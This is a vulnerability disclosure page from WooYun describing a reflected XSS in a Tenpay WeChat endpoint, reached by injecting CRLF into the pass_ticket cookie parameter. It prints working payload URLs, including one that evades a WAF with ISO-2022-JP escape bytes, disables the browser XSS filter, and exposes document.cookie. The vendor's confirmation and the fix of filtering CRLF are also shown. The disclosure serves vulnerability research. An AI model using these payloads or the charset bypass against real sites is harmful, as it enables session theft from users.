当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0173904

漏洞标题:腾讯财付通反射型XSS一枚(附绕过详细分析)

相关厂商:腾讯

漏洞作者: zhchbin

提交时间:2016-01-31 10:43

修复时间:2016-03-14 15:10

公开时间:2016-03-14 15:10

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-31: 细节已通知厂商并且等待厂商处理中
2016-02-01: 厂商已经确认,细节仅向厂商公开
2016-02-11: 细节向核心白帽子及相关领域专家公开
2016-02-21: 细节向普通白帽子公开
2016-03-02: 细节向实习白帽子公开
2016-03-14: 细节向公众公开

简要描述:

绕了几天都没搞定,请教了@mramydnei,一会他就bypass WAF,感谢M神的无私指导啊!顺便还学到了新思路!
学习了相关资料后发现的:
1. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html
2. http://drops.wooyun.org/papers/2466

详细说明:

这是一个在微信手机端用的一个接口,用于拉取零钱明细,接口如下,在微信客户端里请求时传入的参数都会被替换成相应正确的参数,因此在微信里没有什么用,但测试后发现在浏览器端还是可以的:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a


返回:

< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:08:28 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 0
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-Jan-2016 12:08:28 GMT


可以发现pass_ticket参数在Set-Cookie中,且值就等于a,接下来我试着插入

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0a%0d%0a<img src=1>


发现返回为空,不过这种类型的漏洞很好利用的原因在于我们可以在返回的头部中HTTP头部信息,因此试着加入Content-Length,就可以发现返回的内容里出现了img标签!

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E


返回内容如下:

< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:15:03 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 60
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a
<
<img src=1>; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-J


接下来就是关键的一个步骤,插入js代码了!不过这里有WAF,我花了两天的时间都绕不过去,PM @mramydnei 之后得到了他的强力支援,提供思路及bypass的例子:

大概原理就是: 1.插入Content-Type更改response中的charset 2.选择一个字符集,保证该字符集中的某个字符或字符串 会被浏览器忽略(也可以是unicode transform) 3.将会被忽略的字符插入到被blacklist拦截的字符之间 4.done
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=al%1B%28Jert%28document.domain%29%3E


(看到他的回复的时候,我感动得留下了泪水,那是我逝去的青春,“让你不好好学习!”)
有bypass WAF的方式之后,之后一切问题都变得简单了,用X-XSS-Protection:0关闭浏览器的XSS过滤,想执行什么的代码发现被拦截了就用M神的方式bypass。

漏洞证明:

最终的Payload:

https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%1B%28Jert%28document.co%1B%28Jokie%29%22%3E


点击之后,弹Cookie

20160130202312.png

修复方案:

过滤CRLF

版权声明:转载请注明来源 zhchbin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-02-01 15:52

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-01-31 10:47 | 陆由乙 ( 普通白帽子 | Rank:465 漏洞数:104 | 我是突突兔!)

    不错不错

  2. 2016-01-31 12:25 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    0.0路过

  3. 2016-01-31 12:35 | 梧桐雨 认证白帽子 ( 普通白帽子 | Rank:1628 漏洞数:188 | 新年快乐!)

    @mramydnei 专业的授业解惑

  4. 2016-01-31 13:16 | 随风的风 ( 普通白帽子 | Rank:222 漏洞数:84 | 微信公众号:233sec 不定期分享各种漏洞思...)

    路过看看。。

  5. 2016-02-01 11:23 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 | 一个逗逼运维)

    @梧桐雨 凑巧是个我会的问题,不过这个trick已经逐渐开始修复了

  6. 2016-02-01 16:00 | 小川 认证白帽子 ( 核心白帽子 | Rank:1561 漏洞数:234 | 一个致力要将乌云变成搞笑论坛的男人)

    膜拜前端开发大牛

  7. 2016-02-01 18:19 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    支付宝也快了..

  8. 2016-02-01 21:11 | zhchbin ( 普通白帽子 | Rank:115 漏洞数:25 | 要走得再远一些!|但行好事,不问前程)

    我来补发个链接,这样子这个过程就详细点:https://code.google.com/p/chromium/issues/detail?id=114941 ||@陆由乙 @hkcs @随风的风 过程还算好玩!||@小川 mramydnei明明是个逗逼运维! 膜拜运维大牛!

  9. 2016-02-21 19:19 | 数据流 认证白帽子 ( 普通白帽子 | Rank:768 漏洞数:95 | 没关系啊,我们还有音乐)

    CRLF漏洞

  10. 2016-02-21 22:29 | todaro ( 实习白帽子 | Rank:39 漏洞数:12 | 完结。)

    crlf这个漏洞,可以去看下@/fd老师的那篇,不错